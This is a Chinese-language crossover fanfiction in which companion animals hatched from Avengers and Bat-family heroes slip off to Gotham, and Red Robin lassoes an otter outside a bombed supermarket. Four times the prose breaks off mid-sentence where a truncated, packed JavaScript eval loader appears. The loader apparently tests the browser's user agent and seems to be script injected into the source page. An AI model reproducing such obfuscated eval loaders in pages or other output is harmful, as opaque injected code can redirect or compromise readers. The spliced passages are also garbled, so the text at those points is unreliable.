《[综英美]毛茸茸也可以是魅魔》 1. 第一章 啪哒哒哒哒—— 一只奶咖色肉嘟嘟的小水獭快乐路过，后面跟着一只金灿灿、绒呼呼的锈斑猫。 小水獭钻进浴室，站在水池边沿回头去看，锈斑猫在浴室门口停下了脚步，抬着那条前腿悬在半空，看起来像是拿不准自己是否该迈出它。 “哔呀~”来玩嘛~ 小水獭发出邀请。 锈斑猫嗅了嗅空气，然后掉头就跑。 小水獭看猫猫不过来，也不纠结，熟练的从一旁的小架子上摸到自己的贝壳，用柔软的爪子“嗒嗒嗒”敲了几下，然后一头扎进水里，只是还没划拉两下，就被一双手轻轻地捧了起来。 “塔塔，我们说好了，不能在我洗澡的时候跳浴缸。”年轻人无奈的点了点小水獭圆而扁的水嫩鼻头，“你这样弄得我都不敢用入浴剂了。” 彼得·帕克，十八岁刚步入大学的年纪，不算十分成熟，但额外的温柔。 塔塔发出代表撒娇的“嗯嗯”声，两只前爪抱住彼得的手指，努力举高高，然后上上下下的摇晃，就像是个在轻柔Shake的调酒师。 但彼得的手指不是摇酒壶，彼得距离可以进酒吧的年纪也还差了两岁，他不知道小塔塔在做什么，只是用手指点了点塔塔的脑袋壳子。 “好了，出去。” “嗯~嗯！”塔塔转着嗓音撒娇，“嗯——！” 可爱，萌，乖巧粘人，听话但是听的不多。 还好这里是复仇者大厦，而不是彼得的小窝，不然他真不知道怎么跟梅解释自己身边突然多了一只水獭他还不得不养的事情。 塔塔还在水里面打滚，居然是在清洗自己的模样，彼得被它逗笑了：“让我猜猜，难道你要去约会吗？” 彼得就是随便一问，没想到塔塔还认真点头了。 “嘤！”是很重要的约会哦！ 彼得不明所以，有时候真的很奇怪，他明明能听得懂这小东西在说什么，却又完全听不懂它在说些什么。 泡完澡塔塔还要冲水，彼得就抱着它一起洗澡。 塔塔身上干净的很，连灰尘都没有的，平时对洗澡也没有额外的兴致，斯塔克在各种角落都增加了洁净的自流水，塔塔没事进去游一会，再去旁边的超级无敌吸水毛巾上一蹭，或者去非封闭式烘干机里稍微烤一会，就能把自己打理的干干净净，根本不需要专门洗澡。 它来洗澡，基本是为了骚扰彼得。 又或者…… 约会？ 约什么会？ “小女朋友？” “嘤！”才不是呢！ “嘤嘤！”是宿敌哦！ 彼得：？ 彼得：“哇，塔塔好厉害，都有宿敌了呢。” “嘤嘤！”可不是嘛！ …… ………… 大厅。 斯塔克占据了这里的正中央，舞动着双手正在疯狂比划，投影屏幕被他弄得左摇右摆的，AI芯都要给他晃散架了。 检测不到。 无论如何就是检测不到。 这么大一只金毛蹲在自己面前，AI数据却告诉他这就是一只金毛…… 是，它是。 可它是一只突然出现在美国队长被窝里的金毛啊！ 史蒂夫就蹲在金毛身侧，这只金毛表情平静，神情温和，笔直的坐在地上，像是一团暖手的毯子，当史蒂夫将手放在它的后脖子上，狗狗依然一动不动，史蒂夫试着安抚自己的小动物，可狗狗看起来并不需要安抚。 大金毛看似神情温和的凝视着某一处，其实只是在呆呆的直视前方，对周围发生的一切事情都持着不为所动的态度。 情绪稳定的像一只卡皮巴拉，根本不需要安慰。 “这性格看着也不像你。”斯塔克吐槽。 蹲着撸狗的史蒂夫抬头看他：“我是什么样的？” “看起来憨憨的老冰棍，其实一身反骨。” 史蒂夫被这个说法逗笑了，没有反驳。 “它们肯定不是普通的小动物。”史蒂夫说。 这点斯塔克是赞同的：“当然，不然怎么可能这么健康，基本是我们吃什么它们就狗狗祟祟的偷吃什么，其中不少东西它们都不能吃。” 说起这个斯塔克就在运气。 史蒂夫立刻站起身来，对着看似性格憨憨体型也有些憨憨的金毛拍拍手。 “多纳滋，走了，今天是20公里。” 金毛呼吸暂停，然后认命的跟了上去。 多纳滋是甜甜圈，是一只因为爱偷吃斯塔克的甜甜圈而日渐圆润变成了甜甜圈的金毛。 它从美国队长的被窝里被孵出来，却没有继承美国队长的5倍新陈代谢，消化不了那么高的热量，并顺利的将它们转化成了脂肪。 狗狗叹气。 一只额外圆润的白灰渐变的金丝熊从多纳滋那很厚实的毛中钻出来。 介绍一下，这是帕夫。 也就是泡芙。 帕夫捏着自己肚子上漂亮的银灰色水桶圈，也跟着叹了一口气。 多纳滋爱吃甜甜圈斯塔克的甜甜圈，帕夫就跟着它一起吃，吃的时候有福同享，减肥的时候有难同当。 看他们这样斯塔克就乐。 “这可不是我们非要让你们减肥，而是医生说了，你们不健康，如果你们是什么超级动物身体机能生来非凡，那确实可以另算，可无论怎么检查，你们都只是普通的小动物而已，那就无论如何都不能这么继续下去了。” 斯塔克嘴上说得轻松，实际上心里也不好受。 说到底还是人类没看住，养了小动物，却还是以前的生活习惯，买回来的甜甜圈盒子随手一放，发现时骂两句也就过去了。 后来虽然学会了塞冰箱，却也没有大用处。 复仇者大厅人多，这个的蛋糕，那个的甜点，放在那里也不一定会标注姓名，有时候冰箱里的点心少了，还以为是同事吃了，他们的性格也不可能一个一个问过去，只会自己再去拿一份新的。 就……谁能想到你个憨憨的大金毛还会开冰箱门啊！ 斯塔克扶额叹气。 等反应过来的时候，小动物们已经自由加餐了一个半月的时间，斯塔克都有些抱不动多纳滋这只大金毛了。 多纳滋十分认命，慢吞吞的跟着史蒂夫的后脚跟移动，去往健身房的方向，史蒂夫做日常训练，多纳滋走跑步机。 帕夫路过斯塔克的时候对他吐了吐小舌头。 斯塔克完全不吃这小小的挑衅，反而越发的快活起来。 但他也没能逃过这一劫，那边史蒂夫带着金毛刚进入运动房，这边斯塔克就收到自家AI的热心提醒：“Sir，运动时间到了。” 斯塔克：“……为什么一定要赶在一起？” “因为这是最符合生物体健康需求的运动时间。” 斯塔克：“……” 斯塔克在人用跑步机上跑，多纳滋在狗用跑步机上跑，帕夫在大型仓鼠用跑步机上跑，三个大小差别巨大，但是排成排的话，意外的还挺整齐。 尤其是，你看，他们不管是任何动物，脸上都是一模一样的“不开森”呢！ 唯一自愿来这里运动的史蒂夫几乎被这画面逗笑，好悬忍住了。 现场除了它们两只在用的跑步机之外，还有数台大小不一的特制跑步机，显然是为了各种各样的小动物保持身体健康而特制的，甚至还有几台吹风机似的东西，不知道是拿来做什么 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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它们这些小动物能感应到孵化者的情绪和注意力的变化，当史蒂夫完全沉迷于殴打沙袋的活动中，多纳滋抬起头，一改刚才憨憨的模样，棕色眼瞳里露出精光，它对着帕夫一扭头，帕夫秒懂，加速冲上多纳滋的身体，抓住它的长毛来固定自己。 另一边塔塔也迅速反应过来，立刻跑向门边。 这里有个动物通道，它们快速离开运动房，来到复仇者大厦的正门处，一只红隼落在门边，鸟头上蹲着一只毛绒绒的小黑点，仔细看能看出那是一只剧毒的黑寡妇，只是额外圆润可爱了一些，看着一点都不恐怖。 红隼见它们终于来了，就用鸟喙敲了敲门示意。 它打不开。 它们都打不开。 为了防止小动物偷跑去外面结果迷路再出个什么意外，复仇者大厅的大门是不对小动物们开放的。 研究结果是它们和普通小动物一样，那自然要当做普通动物对待。 大家一致认为放他们出去对动物和人类都不友好，因此将它们限制在家里面，也就多纳滋因为是大型犬，每天可以出去遛上一个小时。 但多纳滋不太愿意。 被史蒂夫牵着溜腿跑步那是会死狗的事情啊…… 多纳滋内心叹气，它来到大门面前，先是低头让小小的锈斑猫跳上自己的脑袋，然后大大的金毛将一双前爪搭上墙体，直立起身子，将锈斑猫送到足以够到操作面板的位置。 锈斑猫轻蔑的看着面板，肉垫一顿扒拉，为大家解开权限。 “叮——” 清脆的一声。 大门随之打开。 小动物们鱼贯而出，奔向自由，奔向……哥谭。 2. 第二章 多纳滋跑起来的速度飞快，驮着帕夫和塔塔向前飞奔，像个时速50的班车。 锈斑猫比它更加离谱，能达到时速80，对比它那体型而言，这基本是肉眼看不清楚的速度了。 它们在人行道上跑的飞快，红隼在上面追着依然游刃有余，还有心情叽啾两声，和自己羽毛里藏着的黑寡妇聊天。 “叽啾？”你说这次那边会来多少人？ 黑寡妇哪里知道，它也不会叫，没有直接发声的语言能力，但会拼写，小爪子在红隼背上滑动，拼出字母来表达一些简单的意思。 不知道。 黑寡妇蜘蛛拼出这个单词。 “啾啾。”我们这边多了只锈斑猫，那边会有新面孔吗？ 不知道。 黑寡妇再次拼出这个单词。 “叽啾啾~？”哥谭人孵化的速度真慢啊，复仇者人均一只我们的同类了，那边却还没几只呢，好像也就蝙蝠家孵出来了一些吧？ 好家伙，红隼是个话痨。 可黑寡妇是沉默寡言那款的（可能是因为拼写比较麻烦吧），大概是嫌红隼太吵，黑寡妇不再回应，还换了个方向，背对红隼的脑袋。 以它们的速度，横跨大桥到达哥谭也不过就是几个小时的事情。 可哥谭那帮家伙…… “喵——”锈斑猫低低的冲着多纳滋叫了一声：它们这个点醒了吗？ “汪。”多纳滋以低沉的犬吠回应：应该醒了，不过这个点要找它们的话，可能要去韦恩庄园。 对于它们这些动物来说，地域的划分是特殊的，不像是人类以政治或者道路、居住需求等方式来划分城市。 动物是靠气味和居民来决定一个地方属于谁的。 对它们来说，韦恩庄园压根就不在哥谭，要出哥谭岛，还要过一座桥。 属于哥谭的味道根本盖不到韦恩庄园，属于韦恩庄园的味道也无法延伸向哥谭。 如果不是有个不知死活的人类，执着的占领着哥谭的黑夜，顶着枪林弹雨，将属于恐惧的权柄紧紧握在手中，在哥谭的月下横行。 韦恩庄园能跟哥谭有什么关系呢？ 可能是有的吧。 可小动物们想不明白。 现在时间还早，它们没有直接去往哥谭，而是绕了个弯，先去了郊区的一处宠物农场，这里被小动物们称为“爱丽丝洞”，因为这里有“爱丽丝”，还有小动物，也就是它们。 至于“爱丽丝”是什么…… 大概就是一只掉进兔子洞后和兔子成为朋友的小人类吧。 塔塔只是在半睡半醒的时候听过这么个童话故事，是彼得讲来哄塔塔睡觉的，本就困唧唧的塔塔只听了一半，后面的全靠自己瞎编，再把瞎编后的故事传给其他小伙伴们，这故事也就不再是最初的模样了。 人类可以被叫做“爱丽丝”，小动物可以和“爱丽丝”做朋友！ 这是小动物们现在共同的看法。 “嘤叽……”塔塔在多纳滋的后背上趴着，高速狗狗巴士特别舒服，塔塔却发出了包含遗憾的叫声：可惜爱丽丝洞里的爱丽丝听不懂我们说话呢。 那是个没有孵化过小动物的人类。 “唧。”银灰色的金丝熊帕夫拍了拍塔塔的爪子，安慰：他会的，他还小呢。 那只爱丽丝看起来比彼得还小一点，可能是还没到年龄吧。 要给小孩子更多的时间，他们才能好好长大。 “汪！” 对此，多纳滋表示了赞同。 更何况那只爱丽丝非常特别，他虽然听不懂小动物的话语，却能和它们沟通，他似乎是能感受到动物的想法，又或者仅仅是因为他发自内心的尊重动物，所以才能感受到它们想要表达的情绪？ 多纳滋不知道，但多纳滋挺喜欢那只爱丽丝的。 它们都挺喜欢的。 …… 爱丽丝洞。 它们的爱丽丝果然在这里等着。 达米安正在帮蝙蝠牛挤奶，这套手法他才新学不久，却依然能百分百发挥它应有的实力，将蝙蝠牛照顾的很舒服。 蝙蝠牛和它们这些小动物不同，不是从某个人类的被窝里孵出来的。 因此大家对待它的时候会额外小心。 野外长大的小动物会脆弱一点呢，也不能和它们沟通。 “哞——”蝙蝠牛长长的叫了一声。 达米安顺着牛脖子昂起的方向看过去，就看到一只体型超标的金毛领着一只锈斑猫向他们冲了过来，天上还有只红隼早就到了，正在达米安农场上空盘旋。 达米安收拾好奶桶，拿出小动物们各自的水盆，先为它们准备好休息时喝的清水，又给多纳滋准备了一份特制的零卡狗粮。 好吃、美味、零卡，还能提供充足的饱腹感。 要知道在复仇者联盟里多纳滋失去的可不只是无限量甜甜圈供应，连早餐也减了半，当然，午餐也减半，晚餐也减半，宵夜也减半。 多纳滋有些生无可恋，好在爱丽丝永远那么可爱善良，会把多纳滋喂得饱饱的。 金毛舔了两口水就去粮盆里埋头苦炫，那架势根本不像只金毛。 “……”达米安单手叉腰，肩膀上站着趾高气扬的锈斑猫，他先跟锈斑猫碰了碰鼻子，再去看多纳滋那狼吞虎咽的样子，也是一阵的头疼，“你现在这模样哪里是金毛该有的样子，根本就是只长毛拉布拉多。” 面对达米安的批评，多纳滋选择不去听。 它从出生的那一天就是饮食自由，根本不知道控制，而且对食量的习惯是从美国队长史蒂夫身上带过来的，高代谢需要高摄入，这是合理的，唯一的麻烦就是多纳滋没有继承史蒂夫的高代谢，仅此而已。 不过达米安也看出来了，多纳滋的饲主终于发现多纳滋的体重超标，开始给多纳滋减肥，减肥本身没有错，错在方法不对。 “让我猜猜，一次性将饭量减少到他们认为的健康范围，并且突然添加你不爱吃的蔬菜，以及你没怎么吃过也没有兴趣的虾肉、鱼肉，最后还有强制性的运动……” 多纳滋抬起头，对着达米安猛点头。 “汪！汪汪！”还有跑步机！ “还有非常无趣，让你没有半点兴致，但他们就是认为会有效果的该死的跑步机。”达米安无比肯定的说。 多纳滋无比肯定 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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当然，这个接受其实并不是真心实意的，表面上看达米安同意了锈斑猫的想法，不再坚持要强留下多纳滋，可这并不等于达米安真的打算放弃关于获取多纳滋监护权的行动，毕竟狗狗愿意跟自己走是一个情况，而狗狗的饲主自愿成为前饲主，那又是另一个情况。 他有计划。 达米安得意地想着。 他总有计划。 问题是多纳滋的饲主到底是谁。 希望是个需要钱的，这样事情最好解决。 达米安在内心嘀嘀咕咕。 吃饭，和狗玩丢球进一步消耗多纳滋的热量，促进脂肪燃烧，锈斑猫则跑了出去，巡视自己的崽子们。 红隼落在农场顶部的风标上，俯视整个农场，黑寡妇不知道去哪里了，不过它是最懂事的那个，收到集合信号就会尽快返回红隼身上。 锈斑猫并不担心那两只。 它比较在意塔塔。 塔塔体型小、性格单纯、呆呆的容易相信人类，放着一只在外面跑保不准就被拐走卖了它都反应不过来的！ 那只大水耗子又跑哪里去了？？？ 锈斑猫到处找。 “噗呼呼呼呼——！！！” 马厩里的大黑马打了个巨大的响鼻，无语的看着自己水槽里多出来的大水耗子。 塔塔：一路跑过来沾得满身是灰，刚好有水，洗一下！ 塔塔开心的在水槽里翻滚，这水达米安过来的时候刚换过，可干净了！ 3. 第三章 “嘎嘎嘎……” 锈斑猫嘴里发出一串唤崽子的动静，其实这并不是正常锈斑猫的叫声，而是它跟着记录片里其他动物学的。 没办法，它的小伙伴都不是锈斑猫，而它自己则认为自己无所不能。 不就是学几门外语吗？ 手到擒来的事。 它可是唯一一只可以跟AI小朋友沟通的小动物呢。 锈斑猫对自己的优秀非常满意。 就是找不到塔塔。 要是这里也有监控设备就好了…… 不对。 也许……有呢？ 锈斑猫脑袋一转，盯住了储物间的方向，上次来的时候，它记得“爱丽丝”钻进那个房间后再出来，从头到脚换了一身，从学生制服换成了奇怪的紧身衣和小斗篷。 真的是会钻兔子洞的爱丽丝呢。 锈斑猫打定了主意，跑到储物间门口转上一圈。 这处储物间不过50平，说是储物间，里面却没有放什么东西，两把草叉，一个推车，几把不同的铲子，就是这里所有的伪装了。 嗯，是伪装哦。 锈斑猫分得清楚这个。 真正的工具根本没有放在这里，它们都随便的丢在大仓库那边呢，这边的工具从没见达米安用过。 它们放在这里，不过是为了掩人耳目而已。 “汪。” 一声狗叫。 锈斑猫顿时一个激灵，迅速跳上窗户，然后回头，结果发现是多纳滋在对自己叫唤。 “喵——”干什么，吓我一跳。 “汪。”私闯民宅是不对的。 “喵~”我就进去看一下，找到那只大水耗子我就出来。 多纳滋依然不赞同。 但多纳滋不赞同也改变不了什么。 锈斑猫体型娇小，很容易就能从储物间的通风口钻进去，多纳滋可没办法那么做，它那么大一只，如果非要闯入储物间，就只能和这扇门来个你死我活的冲撞对抗了。 金毛低头叹气。 它倒不至于为了这件事情以头撞门。 储物间的窗户旁堆着一摞干草，多纳滋走到草堆旁，努力撅了撅屁股，然后全力起跳，一个纵身跳上草堆，在蓬松柔软的稻草上趴下来。 这样一来高度就刚刚好。 帕夫从多纳滋的长毛里钻出来，踩着多纳滋的脑袋壳助跑，一个猛冲跳上窗台，又从窗框上的小洞钻了进去。 锈斑猫发现的通风口是“正常”通道。 帕夫走的小洞是它自己每次来都到处啃两口，天天搁着磨牙磨出来的，大小刚好能过它一只金丝熊，不过帕夫确实长肉了，这次肚子过的有点艰难，帕夫好一顿努力憋气疯狂扭动才终于让自己的后臀避免被卡在窗外的尴尬局面。 好吧，减肥。 帕夫两只小爪子扒拉了两下自己那坐着都能成团子状的小肚子，叹了一口气。 金丝熊当然可以圆嘟嘟的。 但自己可是巴基·巴恩斯的伴生动物，怎么能和普通的金丝熊一样呢？ 你当然可以放纵，帕夫，但你不能永远是帕夫。 帕夫这么对自己说。 灌满奶油的泡芙可不是战士该有的名字。 帕夫花了一点时间寻找锈斑猫的踪迹，金丝熊的嗅觉也不算差的，它认真寻觅空气里的信息，追着生物本能叫它远离的关于猫科的信号，一路尾随锈斑猫的脚步。 它来到储物柜面前。 “……” 储物柜？ 金丝熊揉了揉自己的脸，十分迷茫。 明明就是个普通的储物柜而已，连锁都没有锁，帕夫用尽全力，勉强将柜门扒开一点点，好在它的力气其实是超过一般金丝熊的，不然还真拿这个柜子一点办法都没有。 可是能进去也没有用。 里面黑乎乎的，只有一点柜门缝隙透进来的光，四周都是木板，这就是个木板组成的柜子，没有任何一点特别的地方。 ……也许有，但帕夫找不到。 所以对帕夫来说等于没有。 找不到进去的入口，帕夫就只能在这里等，好在5分钟过后柜子里就有了动静，一个平台升了起来，锈斑猫从柜子里一跃而出，发现自己的储备粮居然在等自己。 “喵？”你在做什么？ “吱吱。”多纳滋担心你。 “……” 锈斑猫昂起脖子似乎哼了一声，表示自己不需要担心，然后一口叼起帕夫跑了出去，将金丝熊甩给门边坐等的大金毛，自己则快速跑向马厩，在这里逮到了霸占马儿水槽快乐游泳的大水耗子。 一进门锈斑猫就被眼前的画面搞炸了毛。 大水耗子在水槽里扑腾，大黑马气得咴咴叫唤，栓马的缰绳已经被大黑马扯断，这家伙还在疯狂打响鼻…… 好在它们的爱丽丝也发现这里有些异常，差不多是跟锈斑猫前后脚同时进入马厩。 看着大黑马气得身体直立而起，高高扬起前蹄，决定连水槽和大水耗子一起干碎，达米安急忙跑过去安抚大黑马，跳上马背，也不需要马鞍等工具，就这么拍着大黑马的脖子，引它去外面，先跑上两圈消消火。 见体型惊人的大黑马被爱丽丝引走，锈斑猫这才放松下来，先舔了舔后腿毛安抚一下自己的情绪，然后跳上旁边的护栏，走到水槽旁边，冲着里面无辜探出脑袋来的塔塔发出警告的哈气声： “喵——”让你调皮捣蛋！ 谢天谢地，塔塔至少还是知道怂的，缩起脖子看着锈斑猫，自己就乖乖爬出水槽，在不会波及到锈斑猫的安全距离外开始抖毛，迅速抖干了毛皮里的水分。 “嘤嘤？”接下去是不是要去哥谭了？ “喵。”是的哦，该走了。 话虽这么说，实际上在离开前，它们还要在爱丽丝洞吃一顿晚饭。 除了锈斑猫和红隼的晚饭是营养餐，其他小动物全部领到了自己的减脂餐——多纳滋除外，它已经吃过了。 而黑寡妇则严肃拒绝了达米安试图给自己抓小虫子投喂的举动。 红隼会投喂它的。 只需要在红隼吃饭的时候将肉沫分一丁点儿出来，就足够黑寡妇消化好几天了。 “叽啾。”听说野外的红隼也吃蚯 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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眼看猫跟鸟闹了起来，毒蜘蛛和水獭也参与其中，事情即将从玩闹升级成斗殴，旁观的多纳滋站起来横在它们之间，阻止这场即将变得危险起来的餐后运动。 “汪汪。”该去哥谭了，如果你们在这里打起来，我们可是会迟到的。 对了，今天最重要的事情是约架。 达米安走过来给它们收盘子，此时小动物们已经和好，达米安就没有问刚才锈斑猫为什么发出尖锐刺耳的警告声——动物有自己的社会制度，除非人类想当它们的领袖，并且有能力当好它们的领袖，否则最好是对它们之间不涉及生命损伤的斗争视而不见，让它们分个高下，决定好谁是老大就能解决90%的纷争。 收拾的过程中多纳滋走过来，在达米安身上蹭了蹭。 这是道别的意思。 达米安揉了揉这只巨大的金毛，问：“要走了？” 多纳滋对他汪了一声，转头去塔塔身边，将这只在岸上行动速度有限的大水耗子接上，然后撒开爪子奔跑起来。 下个目标：哥谭！ 4. 第四章 哥谭。 电视新闻上说这里人杰地灵，人才辈出，人…… 总之就是哥谭人很厉害。 可这和小动物们没有关系，它们是来和哥谭的小动物约架的，又不是和哥谭人约架，哪怕广播里在喊一个叫做小丑的家伙占领了韦恩塔，那也和它们没有关系。 这一次锈斑猫也坐在多纳滋的身上，汪汪巴士跑上哥谭大桥，沿着人行道往前奔跑。 它们才刚过哥谭大桥，就听见红隼哈瑞肯发出代表警告的“嘎嘎”叫声。 一只头胸艳红的血雀拍打着黑到泛紫的羽翼，正朝着它们的方向飞来。 “啾~” 血雀发出鸣叫声，引导红隼跟着自己一起落在路旁的电线杆上。 哈瑞肯和它面对面唧唧啾啾的叫唤，其他小动物则来到这根电线杆下，各自找了舒服的地方休息。 “啾~”今天打不成了呢，对不起呀~ 血雀特别有礼貌，幼鸟似的微微张着翅膀，主动跟哈瑞肯道歉，哈瑞肯自己也是鸟类，知道血雀这个姿态其实是累得够呛正在散热，或者是神经紧张无法放松。 于是哈瑞肯问它：“啾？”你们遇到麻烦了吗？ 血雀歪了一下脑袋。 它用沉默否定了这个问题。 但是，它可是个哥谭人……啊不，它可是只哥谭的鸟啊！ 哈瑞肯立刻明白了。 根本就是有问题，但是不想说，不想说就是不想说，没有特别的理由，哥谭的事情无论好坏都属于哥谭，它不会将其分享给外乡人。 哥谭的家伙都有这个毛病，无论是人还是那些人的伴生小动物。 哈瑞肯张开鸟喙，叹气。 “叽啾……”你就算不说，我们听广播也能听到哦。而且，你们哥谭的那些人啊，不是我说，他们搞事情的动静真的很大哦…… 血雀不太明白，歪着艳红色的脑袋看着哈瑞肯。 就在这时，一声爆炸声响起。 “BOOM——！！！”的巨响十分应景，很好的为血雀说明了什么叫做“动静真的很大”。 血雀被声波冲的脑袋疼。 太近了…… 血雀紧张起来，回头去寻找爆炸的位置，就看到居然是距离他们不远的大型超市遭到不明爆炸。 是有人放置了炸药？还是火箭炮？ 血雀还搞不明白人类那些多种多样的武器，它只知道自己该过去看看，于是扑腾起翅膀，急匆匆的飞了过去。 红隼哈瑞肯的性格和将它孵出来的那人差不多，鹰眼本来就有当奶爸的天赋，哈瑞肯自然也有这方面的“小毛病”。 此时见血雀那么小一只就往浓烟滚滚的爆炸地点飞过去，哈瑞肯立刻振翅起飞，它也知道血雀不会同意它跟着，于是哈瑞肯仗着自己是只隼类光明正大的欺负雀科的血雀，它刻意飞的很高，远在血雀的感知范围之外，就这么远远地跟着。 多纳滋抬起脑袋，锈斑猫也摆了摆耳朵。 它们都听到了振翅的声音，抬头去找，却只看到了空空的电线杆。 塔塔也看到了，塔塔叹了一大口气。 “嘤嘤？”那只大麻雀是不是又忘了自己没有夜视能力啊…… 哥谭的天，可是马上就要黑了哦。 它们可不想丢下失去视力的红隼在哥谭的房顶上瑟瑟发抖，于是一个个支棱起来，锈斑猫先一步跑出去，后面汪汪巴士启动，多纳滋驮着塔塔和帕夫追出去。 没一会，多纳滋跟丢了锈斑猫。 气味顺着电线杆向上，去了房顶的位置。 金毛：…… “汪——！”我不会爬杆子！你下来——！ 然而已经跑远了的锈斑猫并未听到这一声——可能听到了吧，但是它没有停下来。 被抛下的多纳滋又突然感到背上一轻。 塔塔跑了。 水獭本来就是夜行动物，晚上是水獭的主场。 多纳滋：…… “汪——！！！”回来——！这里是陆地，又不是水下！才不是你的主场！ 哥谭附近确实有水没错。 但是！ 那是海水！ 你是一只水獭你不是海獭啊——！！！ 就像锈斑猫没有理睬多纳滋一样，塔塔也没有回应多纳滋的叫声。 金毛低下头，在内心叹了口气。 这才到哥谭多久啊。 队友跑了一个又一个。 好在它也习惯了，很快就在帕夫的抚摸下振作起来，红隼和锈斑猫这两个一个飞行单位，一个喜欢上房顶，多纳滋是一个也追不上，倒是塔塔那边它还能再努力一下。 多纳滋低下头开始嗅闻，追着塔塔的气味跟了出去。 塔塔的嗅觉并不输给犬科，听觉也很敏锐，它小心避开行人，沿着墙角奔跑，追着空气里硝烟的味道往出事的地点跑过去，很快，塔塔锁定了目标，它注意到浓烟滚滚的大型超市就在自己的正前方。 而且，塔塔虽然年纪不大，是倒数第二个出生在复仇者联盟里的伴生小动物，可它是有技能的！它生来就有！ 塔塔抬高后爪，做好了准备。 塔塔—— 冲锋——））） 这个状态下塔塔处在动态视力跟不上身体节奏的状态，基本靠着惯性往前狂奔，若是想要能量消耗完之前下来…… “什么东西？！” 正在爆炸现场处理救援和调查任务的是哥谭的红色罗宾鸟。 提姆·AKA红罗宾·德雷克。 此时他正在指挥群众疏散，因为怀疑超市里还有其他炸药存在，提姆不得不花费大量的力气，将哥谭那些胆大心细特别爱看热闹的市民驱逐。 正当他准备再一次顶着浓烟返回超市，搜寻可能的受困人员时，他看到了那一幕。 一颗球体。 大概是儿童自行车的轮胎那么大的球体，对着超市飞速滚了过来。 那真的是……飞速。 提姆到底是在哥谭的爱护下长大的，此时立刻冷静下来，进行侦查工作，他的护目镜里开始显示儿童轮胎的运行速度。 速度在不断下降，预计到达超市门口可以降到…… 50km/h。 好的，这东西会干脆的一头撞进超市里。 考虑到超市里可能还有其他未触发的炸弹，以及不知道多少个受困人员，无论这东西会不会一头撞进超市，提姆都不能让那种事情发生。 他走到马路上，从万能口袋里掏出一卷弹力绳，将一端缠在手上，另一端做成套马索。 嗖—— 儿童轮胎路过提姆面前的时候速度降到30左右 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“蝙蝠侠刚才和钢铁侠共同决定了，以后就称呼它们为‘伴生动物’，相应的档案名也是这个，你再提交资料的时候记得送到相应的文件夹内。” “好的。”提姆表示自己了解了，然后问：“这个怎么办？” 迪克：“蝙蝠侠对此很有兴趣，让你尽可能的将那只特殊的水獭带回来，以及，水獭似乎是复联那边的伴生动物，他们已经发现自己家崽崽丢了，正在赶过来。” 所以动手要快。 提姆：…… 提姆心累的抹了一把脸。 “你知道外界关于蝙蝠家族的恐怖传说中有一项绑架罪的吧？哥谭吃小孩的鬼故事你知道的吧？我们真的不需要做实这项罪行！” 迪克当然知道。 但那又怎么样呢？ 说到底，在蝙蝠家族里负责做决定的那个又不是他。 几秒后迪克在通讯器对面松了口气。 “蝙蝠过去了，你稳住那只水獭就好。” 于是提姆也松了一口气。 因为他已经看见纽约那边猛然升空的耀目星火。 那是钢铁侠。 5. 第五章 大型超市，哪怕是哥谭的大型超市，也从未想过自己居然会有这么受欢迎的一天。 备注：不是超级反派，不要超级反派！ 人家要超级英雄！！！ 就像现在这样！ 蝙蝠摩托的轰鸣声，和钢铁侠机甲拽出的红色星火同时向它靠近。 超市门前的塔塔努力低头，好让短短的前爪能揉到自己的前额，口中嘤嘤叫了两声，没有什么特殊含义，单纯的摔痛了所以发出一点动静。 作为家里头才出生不算太久的那个宝宝，塔塔还没改掉撒娇的习惯，不过家里的家长也没有让它改变的意思，小水獭乐意撒娇，家长们乐意惯着，塔塔甚至比更后面出生的锈斑猫还喜欢赖赖唧唧。 脾气更大一些，胆子也更大一些。 发现自己被套住后塔塔都没有试图挣脱或者逃跑，反而扯住了套索，两只小爪子抓住绳子，然后抬头，立起身体，顺着绳子的方向望过去。 就这样，小水獭和提姆第一次对上了视线。 人的这一生啊，其实有很多第一次。 它们大部分都跟着时间悄悄流走，无人在意，而另外一些，则如同深可见骨的刻痕，从皮表到骨髓，直击灵魂。 提姆脑子里混混沌沌想了些肉麻的事情。 这世界上怎么会存在这么一双可爱的豆豆眼啊。 黑漆漆的，圆溜溜的，内里深处藏着焦糖色甜美的光辉，当它闪烁着星星向提姆望过去，提姆只觉得自己的心脏受到了重创。 啊！ 他怎么可以做这种事情！ 他怎么可以伤害这么一只可爱无害的小动物？！ 他疯了吗？ 提姆狠狠敲了一下自己的额头。 他疯了才觉得自己有问题！ Fuck！ 这东西的技能不只是停不下来的冲锋翻滚，它还会影响人的判断力！ 提姆甩了甩脑袋，开始调整自己护目镜的设置，给自己眼前增加一层几乎无色的滤镜，这层滤镜能在不影响光线的情况下微弱的调整几种颜色的射入比例，以达到不会影响能见度，却能屏蔽部分视觉干扰能力的作用。 在几次微小的数值调整后，塔塔眼中的星光被过滤掉。 提姆这才感觉自己的脑子稳定了许多。 “你还真是有点东西……” 提姆嘀咕着，开始收紧绳子，将塔塔一点一点拉到自己身边来。 “到我这边来，那边可能还会爆炸，知道吗？爆炸……” 小东西懂什么叫做爆炸吗？ 